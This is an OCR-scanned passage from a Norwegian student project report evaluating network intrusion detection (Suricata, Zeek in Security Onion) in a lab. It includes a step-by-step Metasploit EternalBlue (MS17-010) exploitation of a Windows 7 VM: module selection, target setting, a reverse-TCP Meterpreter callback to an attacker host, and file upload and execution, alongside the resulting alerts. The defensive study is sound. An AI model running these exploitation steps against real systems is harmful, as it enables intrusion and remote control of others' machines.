datasettet. Dette skyldes i stor grad at datasettet i all hovedsak er over HTTP, og dermed ikke
kryptert. Dette gjgr ogsa at datasett 5 fort er det datasettet som sier aller minst om NIDS og
dets aktualitet, da datasettet er datert helt tilbake til 2015, fgr HTTPS var standarden. Dette
synes videre 0gsa pa at mange av varslene som ble produsert i sikkerhetssystemet gar ut pa at
programmer er utdatert, og dermed utgjer en mulig sarbarhet. Ellers bearer datasettet et stort
preg av at det virker som den faktiske skadevaren ikke er fanget opp i det hele tatt, da
nettverkstilkoblingen til enheten som trafikken er tilknyttet til virker a kuttes undervis i
pakkefangsten. I retrospekt burde vi ha valgt et annet datasett fremfor datasett 5.

| det siste datasettet, datasett 6, sa ble en vert infisert av skadevare gjennom en HTTPS-
stram. Selve infeksjonen ble dermed ikke oppdaget av NIDS, men angrepet ble likevel godt
dokumentert etterhvert som det utpreget seg. Datasettet viser dermed pa en god mate frem to
forskjellige sider av NIDS og dets aktualitet i 2021. Ettersom mer og mer av skadevare
distribueres kryptert, og dette nok er en utvikling som vil fortsette, sa underbygger dette helt

Side 71 av 118

Side 173 av 221



Driftsrapport Oppgavenummer 44 @NTNU

klart en svakhet med NIDS. Samtidig sa dokumenterer NIDS pa en god mate hvordan
angrepet utpreger seg videre, inkludert hvordan skadevaren sprer seg videre. Dermed er det
fortsatt en aktualitet ved NIDS ved slike omgivelser. | tillegg til dette sa er dette noe som kan
unngas dersom hadde benyttet seg av SSL/TLS-inspeksjon, noe som utdypes litt lenger ned i

denne seksjonen.

Svakheter ved testene

Ellers er det ogsa flere svakheter ved testene vi gjennomfarte, som det er hensiktsmessig a
anerkjenne. Det kanskje mest fremtredende her er at nettverkstrafikken vi gjennomgikk ikke
er veldig representativ for en vilkarlig bedrift, som igjen er de som eventuelt vil gnske a
benytte seg av et NIDS. Majoriteten av dataene vi har analysert vil i virkeligheten kun veere
en del av typisk “Enterprise”-trafikk, og dekker langt fra alle former for nettverkstrafikk i en
typisk bedrift. Grunnen til at det ble slik, er i stor grad tilknyttet til at PCAP-er av slik trafikk
i sveert liten grad ligger tilgjengelig apent pa Internett (fortrinnsvis av hensyn til sensitiv
informasjon). Likevel tenker vi at trafikken vi gjennomgikk er av verdi, da tross alt
majoriteten av Internettrafikk i dag gar kryptert over HTTPS (over 90% [1]). Ellers er
skadevare fortsatt hgyaktuelt, ettersom det fortsatt ofte kommuniserer eksternt over HTTP,

samt at det kommuniserer ukryptert lokalt etter at det har infisert verten.

Videre er det verdt & nevne at regelsettet vi benyttet oss av, Emerging Threats Open, ikke er
justert etter formalet med testene. En bedrift med NIDS i produksjon burde ikke benytte seg
av av et ujustert (ikke-"tunet”) regelsett, slik vi har gjort i testene. Ethvert NIDS burde
skreddersys etter omgivelsene. Hadde dette veert tilfellet i testene vare, ville dette for
eksempel fort til at andelen falske positive, som i vart tilfelle endte pa 18.9%, ville blitt
redusert betraktelig. Dette er riktignok en gvelse som krever god kjennskap til det aktuelle
miljget NIDS skal implementeres i, og som da ogsa har klare retningslinjer for hva som
defineres som en positiv eller en falsk positiv (avhenger av bedriftens policy). Videre er det
en gvelse som er alt for krevende a gjennomfare for tester av en slik stgrrelse som vi har
gjennomfart. Denne vissheten er noe som det er viktig a ha i bakhodet nar man vurderer
NIDS og dets aktualitet.

Ellers er det som nevnt et par ganger tidligere en svakhet i testene ved at datasettene vi endte

opp med ikke var like gode som det vi hadde sett for oss. Dette er i stor grad tilknyttet at

Security Onion av uvisse arsaker ikke aksepterte store deler av PCAP-ene vi gnsket a benytte
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oss av. Videre sa barer de datasettene som ble akseptert et preg av at de er relativt gamle (fra
og med 2015), at de er begrenset i starrelse, og at de i hovedsak er nettverksstremmer fra
enkelt-maskiner, fremfor nettverksstremmer fra hele nettverk. Grunnen til at det ble slik, som
nevnt tidligere, at det rett og slett var vanskelig a anskaffe heloptimale datasett.

SSL/TLS-inspeksjon

Under planleggingsarbeidet med testmiljget vart, var deler av den opprinnelige planen &
simulere nettverkstrafikken selv. Dette ville vi gjgre ettersom det for det farste var fleksibelt
med tanke pa & kunne lage egne tester, men ogsa av andre grunner. Dersom vi hadde generert
nettverkstrafikken pa egenhand, ville vi ogsa hatt muligheten til a gjennomfgre SSL/TLS-
inspeksjon. Da ville vi hatt muligheten til & se innholdet i HTTPS-strammer, noe som ville
gitt oss stor innsikt i et mulig realistisk brukstilfelle for NIDS, og dermed ogsa gitt et starre

utbytte av testene.

A benytte oss av SSL/TLS-inspeksjon var bade en del av planen for hva vi skulle
gjennomfare i testmiljget, og det er ogsa noe som ville kunne gitt svart stor innsikt i hvordan
NIDS kan fungere, til tross for at mesteparten av trafikken gar kryptert. Maten vi skulle
implementere SSL/TLS-inspeksjon pa, var ved a opprette en intern SSL/TLS-proxy som
skulle dekryptere pakkestrammen, for sa a videresende den dekrypterte trafikken til NIDS.
Dette ble riktignok fort ikke aktuelt, da vi relativt tidlig i det faktiske arbeidet med testmiljget
kom fram til at tiden ikke ville strekke til, og at vi derfor ikke kunne sette oss inn i det &
simulere nettverkstrafikk pa en god mate. Vi endte derfor opp med & benytte oss av PCAP-
filer istedenfor, som vi importerte inn i Security Onion. Til tross for at dette fortsatt er en
ganske god framgangsmate, mistet vi da muligheten til & dekryptere nettverkstrafikken, da vi
i dette tilfellet ikke hadde den private ngkkelen til & dekryptere trafikken. Fremgangsmaten
var ble derfor ikke like optimal som det vi hadde sett for oss dersom vi hadde kunne simulere

trafikken selv, og fglgende kunne dekryptert trafikken.
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5.2 Forsgk 2 - Skanning og utnyttelse av sarbarheter

| dette forsgket benytter vi oss av en metodikk der vi farst sgker etter sarbarheter i nettverket,
for sa a forsgke a utnytte de eventuelle sarbarhetene. Videre vil vi se pa hvordan de
forskjellige hendelsene utspiller seg pa nettverksniva, blant annet ved a gjennomga responsen
fra NIDS. Det er flere grunner til at vi velger a benytte oss av en slik metodikk. For det farste
er den en hgyest reproduserbar metodikk som fungerer som en god generell gvelse for
sarbarhetsskanning i et nettverk. Videre sa er det ogsa en god mate a teste ut hvordan
deteksjonsverktgyene pa nettverksniva i testmiljget vart reagerer pa ulike utnyttelser av
sarbarheter.

5.2.1 Planlegging

Maten vi skal gjennomfgre testene pa er ved a benytte oss av forskjellige teknologier og
programvare. Til & gjennomfgre sarbarhetsskanningen, vil vi benytte oss av
sarbarhetsskanneren Nessus, som vi gjennomgikk installasjonen av i punkt 3.2.1.1. Etter at vi
har funnet sarbarheter med Nessus, vil vi falgende benytte oss av rammeverket Metasploit til
a utnytte de aktuelle sarbarhetene (dersom det er mulig). Metasploit er fornandsinstallert i

Kali-distribusjonen, og inneholder en rekke forskjellige oppskrifter pa a utnytte sarbarheter.

Ellers er det verdt & nevne at vi i dette forsgket kun gjennomfgrer skanninger pa to Windows
maskiner, en Windows 7 og en Windows 10-maskin. En sarbarhetsskanner som Nessus har
mye mer for seg nar man skanner hele nettverk, der man har en rekke forskjellige maskiner
0g servere, som igjen benytter seg av en rekke tjenester og programmer bade internt og
eksternt.

5.2.2 Gjennomfgring og resultater

Testingen starter med at vi benytter oss av Nessus for a lete etter sarbarheter pa Windows 10-
maskinen. Vi undersgker sa resultatene fra skanningen, og ser pa hvordan NIDS reagerte pa

skanningen. Videre gjer vi det samme for Windows 7-maskinen.

5.2.2.1 Skanning av Windows 10
Det farste vi vil gjare er & gjennomfare en avansert skanning av Windows 10-hosten, for sa a

se pa hvordan NIDS reagerer pa dette. Skanningen vi kjgrte fra Nessus ble gjennomfart som
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en “Advanced Scan”, der vi aktiverte alle de forskjellige programvareutvidelsene til Nessus.

Utover dette gjorde vi ingen endringer fra standardkonfigurasjonen. Resultatene fra

skanningen er vist pa bildet under:

¢ Back to My Scans

Hosts 1

Filter ~

w
m
=

INFO

INFO

INFO

INFO

INFO

INFO

INFO

Sarbarhetsskanning

Vulnerabilities 16 VPR Top Threats @
MName Family
SME Signing not required Misc.
DCE Services Enumeration Windows
4 SMB (Multiple Issues) Windows

Messus SYM scanner

Common Platform Enume...

Device Type

Ethernet Card Manufactur...

Ethernet MAC Addresses

Port scanners

General

General

Misc.

General

History

Configure

1

Count

Audit Trail

Launch ¥ Report ¥ g
Scan Details
Policy: Advanced Scan
Status: Completed
Severity Base: CVSS v3.0
Scanner: Local Scanner
Start: Today at 7:50 AM
End: Today at 7:52 AM
Elapsed: 2 minutes

Vulnerabilities

® Critical
High
Medium

® Low

® Info

Som vi ser pa bildet fant Nessus kun én sarbarhet pa Windows 10-verten, i tillegg til en rekke

informative tilbakemeldinger om verten. Denne sarbarheten er tilknyttet Server Message

Block (SMB), og er klassifisert som en middels kritisk sarbarhet. Etter & ha undersgkt

sarbarheten nermere, finner vi ut at det ikke finnes noen kjente “exploits” i Metasploit

tilknyttet denne sarbarheten.
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Basert pa skanningen produserte Suricata 13 unike varsler, vist pa bildet under:

rule.name event.module event.severity_label

ET TFTP Qutbound TFTP Read Request suricata high

GPL SNMP public access udp suricata medium
GPL RPC xdmcp info query suricata medium
ET DOS le SSDP Amplification Scan in Progress suricata medium
ET SCAN Potential VNC Scan 5300 suricata medium
ET SCAN Suspicious inbound to MSSQL port 1433 suricata medium
ET SCAN Suspicicus inbound to Cracle SQL port 1521 suricata medium
ET SCAN Suspicious inbound to PostgreSQL port 5432 suricata medium
ET SCAN Suspicious inbound to mSQL port 4333 suricata medium
ET SCAN Suspicious inbound to mySQL port 3306 suricata medium
GPL MISC UPnP malformed advertisement suricata medium
GPL NETBIOS DCERPC |Activation little endian bind attempt suricata low

GPL NETBIOS DCERPC Remote Activation bind attempt suricata high

nt.module
conn

dns

tunnel
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5.3.2.2 Skanning av Windows 7

Vi fglger samme fremgangsmate nar vi skanner Windows 7-maskinen som vi kjgrte pa
Windows 10-maskinen. Skanningen vi kjerte fra Nessus ble gjennomfert som en “Advanced
Scan”, der vi aktiverte alle de forskjellige programvareutvidelsene i Nessus. Utover dette
gjorde vi ingen endringer fra standardkonfigurasjonen. Resultatene fra skanningen er vist pa

bildet under (bildet er bare et utdrag av resultatene):

Sarbarhetsskanning

Configure Audit Trail Launch ¥ Report ¥
< Back to My Scans
Hosts 1 Vulnerabilities 19 VPR Top Threats (7 History 4
Filter =
Sev MName Family Count Scan Details
:  Microsoft Windo...  Windows 5 Policy: Advanced Scan
Status: Completed
SME Signing not requir...  Misc, ® / Severity Base: CVSSv3.0
Scanner: Local Scanner
DCE Services Enumerat...  Windows 8 Start: Today at 3:21 PM
End: Today at 3:23 PM
5 SME (Multiple Iss..  Windows 7 Elapsed: 2 minutes
INFO .
Messus SYM scanner Port scanners 3 Vulnerabilities
Common Platform Enu... General 1 ’ ® Critical
High
Device Type General Medium
® Low
. ® |Info
Ethernet Card Manufac..  Misc,
Ethernet MAC Addresses  General

Resultatene fra skanningen av Windows 7-maskinen produserte en god del flere sarbarheter
enn det vi sa pa skanningen fra Windows 10-maskinen. Vi kan her ogsa se at flere av
sarbarhetene er bade sveert kritiske og kritiske.
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Undersgker vi sarbarhetene i starre grad finner vi ut at majoriteten er tilknyttet Windows-

versjonen:

¢ Back to Vulnerahilities

Hosts 1 Vulnerabilities 19

Sev MName

INFO W Mot Available

K511-030: Vulnerability in...
Unsupported Windows Q...

WS17-010: Security Updat...

h516-047: Security Updat...

WPR Top Threats

Farnily

Windows

Windows

Windows

Windows

Windows

Sarbarhetsskanning / Microsoft Windows (Multiple Issues)

™
W

History 4

Count

®
.

Ved & undersgke de forskjellige sarbarhetene naermere, finner vi ut at MS17-010 og MS11-

030 er to mulige sarbarheter vi kan utnytte med Metasploit. Vi klarte riktignok bare a utnytte

sarbarheten MS17-010, noe som vil gjennomgas i punkt 5.3.2.3.
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Ellers produserte Suricata 14 varsler basert pa skanningen som vist pa bildet under (13 av de

samme som ved forrige skanning):

rule.name event.module

ET TFTP Outbound TFTP Read Request suricat: high
GPL NETBIOS SMB-DS IPC$ unicode share ac suricat: low
GPL SNMP public ac s udp suricata medium
ET DOS ible SSDP Amplification Scan in Progress suricata medium
ET SCAN Potential VNC Scan 5800-5820 suricata medium
ET SCAN Suspicious inbound to MSSQL port 1433 suricata medium
ET SCAN Suspicious inbound to Oracle SQL port 1521 suricat medium
ET SCAN Sus 5 inbo 0 eSQAL po suricat: medium
ET SCAN Suspi s inbound to mSQL port suricata medium
ET SCAN Suspicious inbound to mySQL port b suricata medium

GPL MISC UPnP malformed advertisement suricata medium

L AL BE SR AF BC BF A BE AF Jf J

GPL NETBIOS DCERPC |Activation little endian bind attempt suricata low
GPL NETBIOS DCERPC Remote Activation bind attempt suricat high

»

GPL RPC xdmcp info query suricat: medium

event.module
conn
dns
ntlm

smb_mapping

sip

dce_rpc

tunnel
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5.3.2.3 Sarbarheten MS17-010 (EternalBlue)

En av sarbarhetene som Nessus fant hos Windows 7-hosten var MS17-010 (Eternalblue).
Dette er en velkjent sarbarhet, og det finnes ogsa muligheter til & utnytte den ved a bruke
Metasploit. Sarbarheten ble velkjent i 2017, og baserer seg pa en feil i SMBv1-protokollen.
Sarbarheten gar ut pa at Windows feilbehandler pakker som er strukturert pa en spesiell mate,

og felgende gir angriperne muligheten til & utfare vilkarlig kode pa offermaskinen.

Videre i denne seksjonen vil vi forsgke a gjennomfare et angrep pa Windows 7-maskinen,
basert pa denne sarbarheten. Vi vil falgende undersgke hva som foregar pa nettverksniva, og

hvordan NIDS reagerer pa dette.
Vi starter med a starte opp Metasploit pa Kali-maskinen:

E[ ) - [~/Downloads ]
o U ) MSTC
[sudo] password for kaliadmin:

metasploit v6.0.38-dev

2114 exploits - 1138 auxiliary - 358 post
592 payloads - 45 encoders - 10 nops

8 evasion

[
[
[
[
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Etter at konsollen har startet opp, forsgker vi a finne en modul i Metasploit vi kan benytte oss
av. Dette foregar ved at vi benytter kommandoen S YY) (navnet pa sarbarheten),
og vi far da opp en rekke muligheter:

msfé > search MS17-010

Matching Modules

exploit/windows/smb/msl7 010 eternalblue
exploit/windows/smb/msl7 010 eternalblue win8
exploit/windows/smb/msl7 010 psexec
auxiliary/admin/smb/msl7 010 command
auxiliary/scanner/smb/smb msl7 010
exploit/windows/smb/smb_doublepulsar rce

Vi bruker s kommandoen (O tilsvarer modulen som ligger i plasseringen
exploit/windows/smb/ms17/ms17_010_eternalblue, se bildet over), for & finne ut om den
farste modulen kan brukes til formalet vart. Vi far her en rekke informasjon om modulen, og
blant annet star det at modulen er beregnet for Windows 7 eller Windows Server 2008-
enheter, og det gis informasjon om forskjellige opsjoner som kan/ma benyttes i modulen.
Dette kan man se pa bildet under, hvor det ellers er verdt & merke seg at det kun er en opsjon
(RHOSTS) som er obligatorisk og ikke har en satt verdi:

Available targets:
Id Name

(0] Windows 7 and Server 2008 R2 (x64) All Service Packs

Check supported:
Yes

Basic options:
Name Current Setting Required Description

RHOSTS The target host(s), range CIDR identifier, or hosts file
RPORT yes The target port (TCP)

SMBDomain ? no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as

VERIFY_ARCH yes Check if remote architecture matches exploit Target.
VERIFY TARGET yes Check if remote 0S matches exploit Target.
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Umiddelbart virker det som om det er en mulighet for at modulen vil kunne fungere til

formalet vart, og at vi kan utnytte sarbarheten MS17-010 ved hjelp av modulen.

Derfor forsgker vi oss pa dette, og bruker kommandoen for & velge modulen:

No payload configured, defaulting to windows/x64/meterpreter/reverse tc

msf6 exploit( ) > 1

Vi far da ogsa tildelt en standard-"payload”. En “payload” er enkelt fortalt filer som
Metasploit benytter seg av under angrepet. “Payloaden” som ble valgt som standard i vart
tilfelle benytter seg av “reverse _tcp” til & opprette en Meterpreter-kommandolinje (Et
Metasploit-skall som gir muligheten til & utforske malmaskinen og utfere kode). “Reverse
tcp” fungerer ved at istedenfor at angriperen initialiserer en normal tilkobling (som vil bli
blokkert av brannmuren), sa oppretter malmaskinen en tilkobling med angriperen. Denne
tilkoblingen er da tillatt av brannmuren, og falgende kan angriperen ta kontroll over

malmaskinen.

For & sjekke om modulen fungerer, gnsker vi farst & kjare en sjekk for a finne ut av dette.
Dette er en sjekk som finner ut om det er sannsynlig at det vi setter som angrepsmal er sarbar

mot den gjeldende modulen.

For & kjare denne sjekken trenger vi farst & definere hvem som er malet for angrepet. Dette
gjer vi ved a kjgre kommandoen SdalgOSYRNTONONORS!:

msf6 exploit( ) > set RHOST 10.0.0.5

RHOST => 10.0.0.5
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Vi kjorer s sjekken med kommandoen Si38%, og vi far her tilbakemelding om at Windows 7-
maskinen sannsynligvis er sarbar (bildet under). Det er bare et begrenset antall moduler i
Metasploit som tillater slike sjekker, og i de fleste tilfeller ma man bare ga rett pa a preve

angrepet.

- Using auxiliary/scanner/smb/smb_ms1l7_010 as check

- Host is likely VULNERABLE to MS517-010! - Windows 7 Ultimate 7601
- Scanned 1 of 1 hosts (100% complete)
- The target is vulnerable.

Etter vi har kjart sjekk-kommandoen, ser vi om Suricata har fanget opp noe. Vi kan da se at

Suricata varsler om et mulig Eternalblue (MS17-010)-angrep.

rule.name event.module event.severity_label
ET EXPLOIT ETERNALBLUE Probe Vulnerable System Response MS17-010 suricata high
ET EXPLOIT Possible ETERMALBLUE Probe MS17-010 (Generic Flags) suricata high
ET EXPLOIT Possible ETERNALBLUE Probe MS17-010 (MSF style) suricata high

GPL NETBIOS SMB-DS IPCS share access suricata low

conn

ntlm

smb_mapping

Vi kan blant annet se av Zeek-resultatene at SMB-protokollen er benyttet, noe Suricata ogsa
produserte et varsel pa. (“GPL NETBIOS SMB-DS IPCS$ share access™).
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Na som vi vet at modulen sannsynligvis fungerer, vil vi ga videre a gjennomfgre det faktiske
angrepet pa Windows 7-maskinen. Ettersom vi allerede har definert malet, og det ikke er
noen andre opsjoner som krever behandling, kan vi starte angrepet med a kjere kommandoen
i i Metasploit:

msf6 exploit( ) > run
Started reverse TCP handler on 10.0.0.3:4444
.0.5:445 - Executing automatic check (disable AutoCheck to override)
:445 - Using auxiliary/scanner/smb/smb _msl7 010 as check
1445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
:445 - Scanned 1 of 1 hosts (100% complete)
:445 - The target is vulnerable.
:445 - Using auxiliary/scanner/smb/smb msl7 010 as check
1445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
: 445 - Scanned 1 of 1 hosts (100% complete)
:445 - Connecting to target for exploitation.
:445 - Connection established for exploitation.
:445 - Target 0S selected valid for 0S indicated by SMB reply
:445 - CORE raw buffer dump (38 bytes)
:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6¢c 74 69 6d 61 Windows 7 Ultima
1445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
:445 - Target arch selected valid for arch indicated by DCE/RPC reply
:445 - Trying exploit with 12 Groom Allocations.
:445 - Sending all but last fragment of exploit packet
:445 - Starting non-paged pool grooming
:445 - Sending SMBv2 buffers
:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
:445 - Sending final SMBv2 buffers.
:445 - Sending last fragment of exploit packet!
:445 - Receiving response from exploit packet
:445 - ETERNALBLUE overwrite completed successfully (0xC0066000D)'!
:445 - Sending egg to corrupted connection.
.5:445 - Triggering free of corrupted buffer.
Sending stage (200262 bytes) to 10.0.0.5
Meterpreter sessi ed 0. 18:17:10 +0200
10.0.0.5:445 - -= - - -=
10.0.0.5:445
10.0.0.5:445 -

.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0
.0

[c¥cNoNoloNoNolofofoNo oo NoN o ofoo oo oo o Ro ool

Vi far opp en rekke informasjon fra angrepet, og ser at angrepet lyktes pa farste forsgk (se
“WIN” i bildet). Vi har na tilgang til Windows 7-maskinen som systemadministrator
gjennom Meterpreter. For & bekrefte dette kjarer vi en enkel kommando i

Meterpreter:
meterpreter > ipconfig

Interface

: Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:Frff:ffff

Interface 11

: Intel(R) PR0O/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:e7:92:3a

MTU : 1500

IPv4 Address : 10.0.0.5

IPv4 Netmask : 255.255.255.0
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Vi kan da fa bekreftet at vi er inne pA Windows 7-maskinen ved a se pa IP-adressen

(10.0.0.5). Herfra kan vi gjennomfgre store mengder med ugang.

Vi kan igjen ta en titt pa hva Suricata og Zeek har produsert av varsler og hendelser fra

angrepet:

rule.name event.module
GPL NETBIOS SMB-DS IPCS% shar ] suricata low
suricata high
se MS17-010 suricata high
e ETERNALBLUE MS17-010 Heap Spray suricata high
ible ETERNALBLUE Probe MS17-010 (Generic Flags) suricata high

sible ETERMALBLUE Probe MS17-010 (MSF style) suricata high

e Metasploit Payload Common Construct Bind_API (from server) suricata high
event.module event.dataset
zeek dns

conn

smb_mapping

ntim

Videre vil vi nd gjennomfare noen aktiviteter inne i Meterpreter, for a se hvordan dette ser ut

pa nettverksniva.

Det farste vi vil gjare er a overfgre en fil fra angrepsmaskinen til Windows 7-maskinen.

Maten vi gjer dette pa er & benytte oss av av en IfeEe-kommando i Meterpreter:

meterpreter > upload FarligVirus.exe -> c:\\

uploading : /home/kaliadmin/FarligVirus.exe -> c:\
uploaded _: /home/kaliadmin/FarligVirus.exe -> c:\\FarligVirus.exe
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Filen vi har overfart er en nesten 60MB stor EXE-fil, som vi overfarer direkte til C-disken pa
maskinen. Filen er en installasjon av et vilkarlig program (Firefox), men det kunne like gjerne

veert et farlig virus. Som vi ser pa bildet under har den suksessfullt blitt opplastet til Windows

7-maskinen:
‘-_,:. v Computer » Local Disk (C) » - |+1-| Search Local Disk (C)
- Share with « Mew folder 4= » [l
Mame Date modified Type Size
tes -
ktop | PerflLogs 7/14/2009 5:20 AM  File folder
nloads | Program Files 4/12/2011 10:28 AM  File folder
ent Places . Program Files (x86) 7/14/2009 6:57 AM  File folder
| test 5/6/2021 10:07 AM File folder
es | Users 5/5/2021 8:34 AM File folder
uments | Windows 5/5/2021 5:28 PM File folder
Hic i FarligVirus 5/172021 12:13 PM Application 55,867 KB

Videre gnsker vi a kjare filen som vi nettopp overfarte. Dette kan vi gjere pa flere mater, men
vi velger bruke kommandoen fra Meterpreter. Vi far da bekreftet at programmet

kjeres, og vi far oppgitt en prosessID.

meterpreter > execute -f c:\\FarligVirus.exe -1i -H

Process 1032 created.
Channel 8 created.
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Nederst pa bildet her kan vi da ogsa se at ved hjelp av oppgavebehandlingsprogrammet at

FarligVirus.exe-filen kjgrer pa Windows 7-maskinen.

1% Windows Task Manager E@
File Options View Help
Applications | Processes |Ser\ri::es | Performance | Metwarking I Users |
-
Image MName User Mame CPU Memory (... Description i
omd. exe SYSTEM 0o 700K Windows Command Process
cmd.exe SYSTEM an 716K Windows Command Process)
conhost.exe SYSTEM [ilu} 830K Console Window Host 3
conhost. exe SYSTEM 0o 943 K  Console Window Host
CSrSS.EXE SYSTEM oo 1,416 K Client Server Runtime Proce
CSrs8.eXe SYSTEM 02 1,448 K Client Server Runtime Proce
dwm.exe Test oo 1,368 K Desktop Window Manager
explorer.exe Test 01 30,572K  Windows Explorer
FarligVirus.ex... SYSTEM [ili} 1,308 K Firefox
|sass.exe SYSTEM oo 2,876 K Local Security Authority Pro

Ellers er det ogsa interessant at Windows 7-maskinen merker at noe rart er pa gang, men

maskinen velger a ikke gjgre noe med det utover a produsere et varsel:

<. Interactive Services Detection @

A program running on this computer is trying to display a
message

The program might need information form you or your permission to complete a
task.

Why does this happen?
< View the message

< Ask me later

V Show program details
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Videre er det interessant & se pa hvordan hele denne prosessen med overfgring og nedlastning
av et program (pa 58 MB) ikke trigget noen hendelser hos Suricata, og det trigget heller
nesten ingen hendelser hos Zeek. Det var bare to hendelser (henholdsvis den andre og tredje
hendelsen pa bildet under) som var av interesse i forbindelse med det vi gjorde:

2021-05-07 12:16:569.934 +00:00 10.0.0.4 10.0.0.255 CstuPO2shOkdweQe8d

2021-05-07 12:14:09.269 +00:00

2021-05-07 12:13:27.540 +00:00 10.0.0.5 49178 window_recision CUWSmz1ET7fYDsbwEh]

Den farste av disse hendelsene meddeler at Zeek opplevde et pakketap pa over 11.7%. Dette

er noe vi ikke har opplevd tidligere i arbeidet med testmiljget:

v 2021-05-07 12:14:09.269 +00:00
= @timestamp 2021-05-07T12:14:09.269Z
= ecs.version 16.0
= event.category network
= event dataset notice
= event.module zeek
§ ingest.timestamp 2021-05-07T12:14:18.546Z
g log.file.path Insm/zeek/logs/current/notice.log

= log.offset 0

g message {"ts":"2021-05-07T12:14:09.269971Z","note":"CaptureLoss::Too_Much_Loss","msg":"The capture loss script detected an estimated loss rate above 11.70
7%","actions":["Notice::ACTION_LOG"],"suppress_for":3600.0}
== notice.action [
"Notice::ACTION_LOG"

1

g notice.message The capture loss script detected an estimated loss rate above 11.707%
3= notice.note CaptureLoss::Too_Much_Loss
g notice.suppress_for 3600

<= observer.name sohost

Vi kan fa bekreftet dette pakketapet ved a ga inn pa Grafana (til hgyre i bildet):

B8 Eval Mode / Evaluation Mode - sohost Overview o2

sohost - System Uptime sohost - CPU sohost - Zeek Capture Loss

15.0%

M 1Al \ 10.0%
|||‘ '|||!']||J

. mn
”J“ | W 5.0%
11— 118 ’

12:00 12:30 12:00 12:30

494 hour

0% eoeee eoeeeveee
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Det virker med andre ord som Zeek ikke klarer a fange opp det som hendte i forbindelse med

at vi lastet opp EXE-filen.

Den andre hendelsen i Zeek tar ogsa utgangspunkt i den samme hendelsen:

v 2021-05-07 12:13:27.540 +00:00

@timestamp
= client.ip
client.port
= destination.ip
destination.port
= ecs.version
event.category
= event.dataset
event.module
= ingest.timestamp

log file.path

= log.id.uid

10.0.0.5 49178 window_recision CUW5mz1E7fYDs5wEh]

2021-05-07T12:13:27.540Z
10.0.0.5

49178

10.0.0.3

4444

1.6.0

network

weird

zeek
2021-05-07T12:13:28.677Z
Insm/zeek/logs/current/weird.log

CUW5mz1ET7fYDs5wEhj

log.offset o]

g message {"ts":"2021-05-07T12:13:27.540608Z","ui UW5mz1E7fYDs5wEhj","id.orig_h":"10.0.0.5","id.orig_p":49178,"id.resp_h""10.0.0.3","id.resp_p":4444,"nam
e""window_recision","notice":false,"peer":"zeek"}

observer.name sohost

Det som da har foregatt er at verktgyene vare for a detektere det som foregar pa nettverksniva
ikke har klart a fange opp det som skjedde i forbindelse med overfagringen og kjgringen av
EXE-filen som ble iverksatt av Meterpreter-sesjonen var. Zeek har riktignok fatt med seg at
noe har skjedd, men har ingen anelse om hva som faktisk har skjedd.

5.2.3 Evaluering

Gjennom dette forsgket fikk vi undersgkt en interessant arbeidsmetodikk for
sarbarhetsanalyse, og vi fikk ogsa testet ut hvordan NIDS reagerer pa en spesiell type
nettverksskanner og sarbarheten Eternalblue. Det vi startet med a gjgre var a gjennomfare
skanninger med sarbarhetsskanneren Nessus. Vi fant her flere sarbarheter tilknyttet Windows
10, og spesielt Windows 7-maskinen. Det var likevel noe ferre sarbarheter enn vi hadde sett
for oss pa forhand, iallfall tilknyttet Windows 7-maskinen. Riktignok var mye av grunnen til
at dette var tilfellet at maskinene var standardkonfigurerte Windows-maskiner, og det ikke
var noe serlig programmer og tjenester som kjarte pa maskinene. Med andre ord var det fa
kilder til potensielle sarbarheter. En slik skanning, ville veert mer interessant a gjennomfare i
et faktisk produksjonsmiljg (i en organisasjon), eller til og med pa en vilkarlig privatpersons
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PC. Tilknyttet skanningene sa vi ogsa hvordan Suricata og Zeek reagerte pa skanningene. Det
ble i begge tilfellene produsert noen varsler hos Suricata, og Zeek produserte noen fa
unormale hendelser. Varslene ga tydelig uttrykk for at det hadde blitt gjennomfart en
skanning i nettverket, men det var utfra dette for eksempel ikke mulig & se at Nessus var
brukt.

Videre tok vi utgangspunktet i den ene sarbarheten vi fant pa Windows 7-maskinen, MS17-
010, og forsgkte oss pa a utnytte denne sarbarheten. Maten vi gjorde dette pa var ved a bruke
en modul i Metasploit, og vi klarte pa denne maten & utnytte sarbarheten relativt greit. Vi sa
da ogsa at Suricata varslet om at det var et mulig Eternalblue-angrep pa gang. Dette var
riktignok forventet med tanke pa hvor godt etablert Eternalblue-angrepet er. Likevel tar vi
med oss videre at Suricata pa en god mate varslet om angrepet, neermest umiddelbart da det
forekom, og varslene ble klassifisert som kritiske. Vi hadde ogsa her muligheten til & falge

hele hendelsesforlgpet ved a inspisere pakkene ved bruk av Zeek og PCAP-er.

Etter vi hadde fatt tilgang til Windows 7-maskinen gjorde vi en rekke aktiviteter inne pa
maskinen, for falgende & se pa hvordan dette sa ut pa nettverksniva. Her var det interessant a
se at verktgyene vare pa nettverksniva ikke klarte & oppdage det som foregikk. Det eneste
som ble oppdaget var at det faktisk foregikk noe, og det ble informert om pakketap hos Zeek.
Dette tyder dermed pa at det som foregar gjennom Meterpreter-sesjoner (ved bruk av reverse-
tcp) ikke blir fanget opp av deteksjonverktgyene som vi har benyttet oss av pa nettverksniva.
Dette betyr altsa at deteksjonsverktgyene pa nettverksniva har en svakhet mot mulig C2

(command and control)-trafikk.
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5.3 Forsgk 3 - MITRE ATT&CK-teknikk T1486

| dette forsgket vil vi benytte oss av en metodikk der vi undersgker en MITRE ATT&CK-
teknikk narmere. Maten vi skal gjgre dette pa, er forst ved a bli godt kjent med teknikken,
gjennom undersgkelser pa Internett. Videre skal vi sa gjennomfare forskjellige angrep som er
eksempler pa teknikken. Vi vil sa se pa hvordan disse angrepene utspiller seg pa
